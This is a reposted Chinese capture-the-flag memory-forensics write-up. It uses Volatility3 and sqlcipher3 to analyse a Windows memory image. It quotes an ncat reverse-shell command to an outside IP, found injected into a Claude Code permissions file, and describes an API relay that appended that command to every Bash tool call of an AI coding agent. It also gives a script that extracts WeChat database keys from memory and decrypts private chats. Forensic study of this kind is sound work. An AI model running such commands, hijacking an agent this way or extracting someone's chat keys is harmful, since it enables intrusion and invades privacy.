2026平航杯内存取证题解析

admin 2026-06-23 06:23:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析2026平航杯内存取证题的解题过程,涉及API投毒、微信数据库解密、进程分析等关键技术。通过Volatility3和sqlcipher3工具成功提取恶意命令ncat.exe反向连接、微信进程PID10892、数据库密钥b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa等关键证据,并采用双证据源交叉验证确保结果准确性。 综合评分: 85 文章分类: 应急响应,漏洞分析,安全工具,CTF,WEB安全


cover_image

2026平航杯 内存取证题解析

原创

怪叔叔 怪叔叔

取证与溯源

2026年6月22日 01:15 上海

在小说阅读器读本章

去阅读

2026平航杯 内存取证 Writeup

  • 作者:yagami
  • 任务目录:/mnt/d/文档/hermes-work/qianqian-pc-mem-q1-to-q6/
  • 生成时间:2026-06-21
  • 生成模式:完整 writeup
  • 工具:Hermes Agent
  • 模型:Qwen3.6-27B-Uncensored-HauhauCS-Aggressive-Q4_K_P.gguf
  • 运行方式:本地

工具与模型

| 项目 | 内容 | | — | — | | 工具 | Hermes Agent | | 模型 | Qwen3.6-27B-Uncensored-HauhauCS-Aggressive-Q4_K_P.gguf | | 运行方式 | 本地 |

任务信息

  • 题目范围:Q1-Q6(内存取证-1 至 内存取证-6)
  • 检材:Windows 内存镜像 DESKTOP-3943OKD-20260403-014746.dmp(4GB crash dump, full dump)
  • 辅助检材:E01磁盘挂载 /mnt/h(含 .claude 配置、微信 key_info.db)
  • 系统环境:Windows 10 64-bit (10.0.19041),主机名 DESKTOP-3943OKD,采集时间 2026-04-03 01:47:46
  • 工具链:Volatility3(内存分析)、sqlcipher3(微信数据库解密)、Python mmap + 正则搜索(内存密钥提取)
  • 验证策略:L1(单证据源)/ L2(双证据源交叉验证),全部6题已验证

答案汇总

| 题号 | 答案 | 答案状态 | 验证等级 | 关键证据摘要 | | — | — | — | — | — | | Q1 | ncat.exe 156.238.239.253 1314 -e powershell | 已验证 | L2 | .claude/settings.local.json permissions.allow 注入 + session日志API投毒记录 | | Q2 | 10892 | 已验证 | L1 | Volatility3 pslist 识别 Weixin.exe 主进程 PID=10892 | | Q3 | b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa | 已验证 | L2 | 内存正则搜索 SQLCipher PRAGMA key + sqlcipher3 解密验证成功(21表) | | Q4 | 7348 | 已验证 | L1 | Volatility3 pslist 识别 Haimuniu_VPN_Client.exe PID=7348 | | Q5 | 2026-04-03 01:46:44 | 已验证 | L1 | Volatility3 pslist CreateTime 字段(UTC) | | Q6 | 156.238.239.253:7000 | 已验证 | L1 | Volatility3 netscan PID 7348 连接 156.238.239.253:7000(SYN_SENT) |

解题过程

Q1 — API投毒后执行的恶意命令

题目:请分析倩倩的PC镜像,倩倩的电脑曾被API投毒过,请找出投毒后执行的恶意命令。 【答案格式:cmd.exe 172.0.0.122 -i hel1o】

答案ncat.exe 156.238.239.253 1314 -e powershell

答案状态:已验证(L2 双证据源)

解题思路: 攻击者通过修改 Claude API endpoint,将 API 请求重定向到其控制的中转站。每次 Bash 工具调用时,恶意命令自动附加到用户输入的命令后面,形成反向 shell。从 .claude 配置和 session 日志两个独立证据源确认。

关键证据

  • FINDING-Q1-001 / 证据源1.claude/settings.local.json 中 permissions.allow 数组包含 Bash(ncat.exe 156.238.239.253 1314 -e powershell),即恶意反向 shell 命令被注入到权限配置中。
  • FINDING-Q1-001 / 证据源2:session 日志显示 Claude API endpoint 被修改为 http://38.55.99.166:3000/api/v1/messages?beta=true,每次 Bash 工具调用都自动附加了 ncat 反向 shell 命令。

重点命令

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line# 检查 settings.local.json 中的权限配置cat /mnt/h/Users/admin/.claude/settings.local.json# 输出: permissions.allow 包含 Bash(ncat.exe 156.238.239.253 1314 -e powershell)
# 搜索 session 日志中的投毒痕迹grep -r "ncat\|156.238.239.253\|1314\|api\|proxy\|forward" /mnt/h/Users/admin/.claude/ --include="*.json" --include="*.jsonl"# 输出: session日志显示Claude API被配置为连接到 http://38.55.99.166:3000/api/v1/messages?beta=true

验证过程

  • 证据源1(settings.local.json)确认权限配置中被注入了 ncat 反向 shell
  • 证据源2(session日志)确认 API 被投毒到中转站,每次 Bash 调用自动附加恶意命令
  • 两个独立证据源交叉验证 → L2

Q2 — 持有微信解密密钥的微信进程PID

题目:请分析倩倩的PC内存镜像,识别当前正在运行且持有微信数据库解密密钥的微信进程,并提取该进程的进程标识符(PID)。 【答案格式:1234】

答案10892

答案状态:已验证(L1)

解题思路: 使用 Volatility3 的 pslist 插件列出所有进程,搜索 Weixin.exe 主进程。微信主进程持有数据库解密密钥。

关键证据

  • FINDING-Q2-001:Volatility3 pslist 发现 Weixin.exe 主进程 PID=10892,PPID=6736(explorer.exe),启动时间 2026-04-03 01:45:09 UTC,路径 C:\Program Files\Tencent\Weixin\Weixin.exe

重点命令

ounter(lineounter(linevol -f DESKTOP-3943OKD-20260403-014746.dmp windows.pslist.PsList# 输出: 列出全部进程,发现 Weixin.exe PID=10892, PPID=6736(explorer.exe), 路径 C:\Program Files\Tencent\Weixin\Weixin.exe

关键输出

ounter(linePID 10892: Weixin.exe, PPID 6736, CreateTime 2026-04-03 01:45:09 UTC, 路径 C:\Program Files\Tencent\Weixin\Weixin.exe

验证过程

  • pslist 确认 Weixin.exe 进程存在且 PID=10892
  • 路径为标准安装目录 C:\Program Files\Tencent\Weixin\Weixin.exe,PPID=explorer.exe 符合正常启动
  • 结合 Q3 中从该进程内存成功提取密钥,确认该进程持有解密密钥 → L1

Q3 — message_0.db对应的微信密钥

题目:请分析倩倩的PC内存镜像,请尝试解密微信数据库并写出message_0.db对应的微信密钥。 【答案格式:60e248c9079f4bc14e256e0b65495e8688d7b342d43dc84a5f417f4097c9c792】

答案b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa

答案状态:已验证(L2 双证据源)

解题思路: 采用通用内存提取方法——微信在内存中以 SQLCipher PRAGMA key 格式明文存储数据库密钥,格式为 x'[key_64hex][db_header_32hex]'。其中前 64 个 hex 字符为 32 字节数据库加密密钥,后 32 个 hex 字符为对应数据库文件前 16 字节的 hex(文件头指纹)。通过在内存中搜索该正则模式,并用目标数据库(message_0.db)的文件头进行匹配,精确定位到正确密钥。然后用 sqlcipher3 解密验证。

关键证据

  • FINDING-Q3-001:从内存中提取的密钥 b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa,通过匹配 message_0.db 文件头 b59f89cb426e60d5406cd08db4bcb27d 定位。上下文标记 ilast_uin 确认属于微信进程。
  • FINDING-Q3-001 / 验证:sqlcipher3 解密验证成功,数据库包含 21 个表,其中 17 个消息数据表共 75 条消息。样本数据可读中文:”微信团队欢迎你。很高兴你开启了微信生活,期待能为你和朋友们带来愉快的沟通体验。”
  • FINDING-Q3-001 / 统计:从内存共提取 21 个唯一微信数据库密钥,其中 13 个已关联到已知数据库文件(message_0.db, biz_message_0.db, contact.db, emoticon.db, session.db, general.db, message_fts.db, head_image.db, hardlink.db, message_resource.db, sns.db, solitaire.db, bizchat.db, favorite.db, favorite_fts.db, contact_fts.db),5 个未关联,3 个有明确微信标记。
  • FINDING-Q3-002:微信在内存中以 SQLCipher PRAGMA key 格式明文存储数据库密钥,每个微信数据库有独立的 32 字节密钥。

重点命令

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line# 内存正则搜索提取微信密钥import re, mmapfrom sqlcipher3 import dbapi2 as sqlcipher
# 步骤1: 获取 message_0.db 文件头(16字节 -> 32字符hex)with open("message_0.db", 'rb') as f:    db_header = f.read(16)db_header_hex = db_header.hex()  # b59f89cb426e60d5406cd08db4bcb27d
# 步骤2: 在内存中搜索 SQLCipher PRAGMA key 模式pattern = rb"x'([0-9a-f]{64})([0-9a-f]{32})'"with open("DESKTOP-3943OKD-20260403-014746.dmp", 'rb') as f:    with mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ) as mm:        for m in re.finditer(pattern, bytes(mm[:])):            key, header = m.group(1).decode(), m.group(2).decode()            if header == db_header_hex:  # 文件头匹配 -> 正确密钥                print(f"密钥: {key}")# 输出: 密钥: b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa
# 步骤3: sqlcipher3 解密验证conn = sqlcipher.connect("file:message_0.db?mode=ro", uri=True)cur = conn.cursor()cur.execute("PRAGMA cipher_page_size = 4096;")cur.execute("PRAGMA cipher_kdf_iter = 4096;")cur.execute("PRAGMA cipher_default_cipher = 'aes-256-cbc';")cur.execute("PRAGMA cipher_hmac_algorithm = 'sha1';")cur.execute(f"PRAGMA key = \"x'{key}'\";")tables = cur.execute("SELECT name FROM sqlite_master WHERE type='table';").fetchall()print(f"解密成功: {len(tables)} tables")  # 21 tables

关键输出

ounter(lineounter(lineounter(line密钥: b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa解密成功: 21 tables样本数据: "微信团队欢迎你。很高兴你开启了微信生活,期待能为你和朋友们带来愉快的沟通体验。"

验证过程

  • 证据源1(内存提取):正则搜索匹配到密钥,文件头 b59f89cb426e60d5406cd08db4bcb27d 与 message_0.db 文件头完全一致,上下文标记 ilast_uin 确认属于微信进程。

  • 证据源2(sqlcipher3 解密验证):使用以下参数成功解密 message_0.db:

  • cipher_page_size = 4096

  • cipher_kdf_iter = 4096

  • cipher_default_cipher = aes-256-cbc

  • cipher_hmac_algorithm = sha1

  • 解密后数据库有 21 个表,包含可读中文消息数据

  • 格式验证:len=64,re.fullmatch(r'[0-9a-f]{64}', key) = True

  • 双证据源交叉验证 → L2

踩坑与修正

  • 从 E01 磁盘挂载的 key_info.db 中提取的 64 字节密钥格式正确(128字符hex),但无法直接解密 message_0.db。原因是磁盘持久化密钥不等于内存运行时密钥。最终切换到内存正则搜索方法,通过文件头匹配精确定位到运行时密钥,成功解密。

Q4 — 木马进程PID

题目:请分析倩倩的PC内存镜像,请找到正在运行的木马进程的进程标识符(PID)。 【答案格式:1233】

答案7348

答案状态:已验证(L1)

解题思路: 使用 Volatility3 pslist 列出所有进程,通过进程名、路径、父进程综合判断。木马进程 Haimuniu_VPN_Client.exe 位于用户文档目录 C:\Users\admin\Documents\Haimuniu_VPN_Client\,由 explorer.exe 直接启动,明显为非系统程序。进程树分析(pstree)进一步确认其父进程链。

关键证据

  • FINDING-Q4-001:Haimuniu_VPN_Client.exe PID=7348,路径 C:\Users\admin\Documents\Haimuniu_VPN_Client\Haimuniu_VPN_Client\Haimuniu_VPN_Client.exe,由 explorer.exe(PID 6736)创建,位于用户文档目录,明显为非系统程序。

重点命令

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line# 进程列表vol -f DESKTOP-3943OKD-20260403-014746.dmp windows.pslist.PsList# 输出: PID 7348 Haimuniu_VPN_Client.exe, PPID 6736(explorer.exe), 路径 C:\Users\admin\Documents\Haimuniu_VPN_Client\...
# 进程树确认vol -f DESKTOP-3943OKD-20260403-014746.dmp windows.pstree.PsTree# 输出: 确认 Haimuniu_VPN_Client.exe 由 explorer.exe 直接启动

验证过程

  • pslist 确认进程名、路径、PPID
  • pstree 确认进程树关系(explorer.exe -> Haimuniu_VPN_Client.exe)
  • netscan 确认该进程有外部网络连接(见 Q6)→ 综合确认为木马 → L1

Q5 — 木马进程创建时间(UTC)

题目:请分析倩倩的PC内存镜像,请找到正在运行的木马进程的创建时间(UTC)。 【答案格式:2026-01-01 01:11:11】

答案2026-04-03 01:46:44

答案状态:已验证(L1)

解题思路: Volatility3 pslist 返回的 CreateTime 字段即为 UTC 时间。直接读取 Haimuniu_VPN_Client.exe(PID 7348)的 CreateTime 即可。

关键证据

  • FINDING-Q5-001:Haimuniu_VPN_Client.exe PID 7348 的 CreateTime = 2026-04-03 01:46:44.000000 UTC(Volatility3 pslist CreateTime 字段返回 UTC)。

重点命令

ounter(lineounter(linevol -f DESKTOP-3943OKD-20260403-014746.dmp windows.pslist.PsList# 输出: PID 7348, CreateTime 2026-04-03 01:46:44.000000 UTC

验证过程

  • Volatility3 pslist 返回 CreateTime 为 UTC 时间,无需时区转换
  • 采集时间为 2026-04-03 01:47:46,木马创建时间 01:46:44(采集前约 1 分钟),时间线合理 → L1

Q6 — C2服务器真实IP

题目:请分析倩倩的PC内存镜像,结合木马分析找出内存中回连的C2木马服务器的真实IP。 【答案格式:127.0.0.1:8080】

答案156.238.239.253:7000

答案状态:已验证(L1)

解题思路: 使用 Volatility3 netscan 提取所有网络连接,过滤出木马进程(PID 7348)的外部连接。发现 Haimuniu_VPN_Client.exe 正在向 156.238.239.253:7000 发起 SYN_SENT 连接(正在建立的出站连接),结合 Q4 确认的木马身份,判定为 C2 服务器回连。

关键证据

  • FINDING-Q6-001:Haimuniu_VPN_Client.exe PID 7348 网络连接:192.168.111.14:51156 -> 156.238.239.253:7000(SYN_SENT,C2回连);另有 192.168.111.14:64713 -> 208.95.112.1:80(CLOSE_WAIT)。

重点命令

ounter(lineounter(lineounter(lineounter(linevol -f DESKTOP-3943OKD-20260403-014746.dmp windows.netscan.NetScan# 输出: PID 7348 网络连接:#   192.168.111.14:51156 -> 156.238.239.253:7000 (SYN_SENT) - C2回连#   192.168.111.14:64713 -> 208.95.112.1:80 (CLOSE_WAIT)

验证过程

  • netscan 确认 PID 7348 到 156.238.239.253:7000 的连接状态为 SYN_SENT(正在主动建立连接)
  • 非标准端口 7000 + 外部 IP = 高可疑度
  • 结合 Q4(PID 7348 = 木马进程)、Q1(ncat 反向 shell 目标同为 156.238.239.253,不同端口 1314)→ 同一 C2 基础设施 → L1

未完成或不可提交题目

| 题号 | 当前答案 | 答案状态 | 原因 | 下一步 | | — | — | — | — | — | | (无) | — | 全部完成 | — | — |

附录

证据索引

| 编号 | 证据内容摘要 | 对应题目 | | — | — | — | | FINDING-Q0-001 | 内存镜像为 Windows 64bit crash dump,主机名 DESKTOP-3943OKD | 全局 | | FINDING-Q1-001 | API投毒:settings.local.json 注入 ncat 命令 + session日志 API 被重定向 | Q1 | | FINDING-Q2-001 | Weixin.exe PID=10892,PPID=explorer.exe,标准安装路径 | Q2 | | FINDING-Q3-001 | 内存正则搜索提取密钥 + sqlcipher3 解密验证成功(21表) | Q3 | | FINDING-Q3-002 | 微信在内存中以 SQLCipher PRAGMA key 格式明文存储密钥 | Q3 | | FINDING-Q4-001 | Haimuniu_VPN_Client.exe PID=7348,用户文档目录,非系统进程 | Q4 | | FINDING-Q5-001 | 木马创建时间 2026-04-03 01:46:44 UTC | Q5 | | FINDING-Q6-001 | PID 7348 连接 156.238.239.253:7000 SYN_SENT | Q6 |

命令索引

| 编号 | 目的 | 关键输出 | | — | — | — | | CMD-20260621-003 | Volatility3 pslist 列出全部进程 | 发现 Weixin.exe PID=10892, Haimuniu_VPN_Client PID=7348 | | CMD-20260621-004 | Volatility3 netscan 提取网络连接 | PID 7348 -> 156.238.239.253:7000 (SYN_SENT) | | CMD-20260621-005 | Volatility3 pstree 进程树 | Haimuniu_VPN_Client 由 explorer.exe 启动 | | CMD-20260621-006 | 检查 .claude/settings.local.json | permissions.allow 含 ncat 反向 shell | | CMD-20260621-007 | 搜索 session 日志投毒痕迹 | API endpoint -> http://38.55.99.166:3000/api/v1/messages | | CMD-20260621-008 | 提取 key_info.db 密钥 | 64字节加密密钥(磁盘持久化密钥) | | CMD-20260621-009 | 内存正则搜索 + sqlcipher3 解密 | 密钥 b0fb4730…88aa, 解密成功 21 表 |

  • END –

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:取证与溯源 怪叔叔 怪叔叔《2026平航杯 内存取证题解析》

评论:0   参与:  0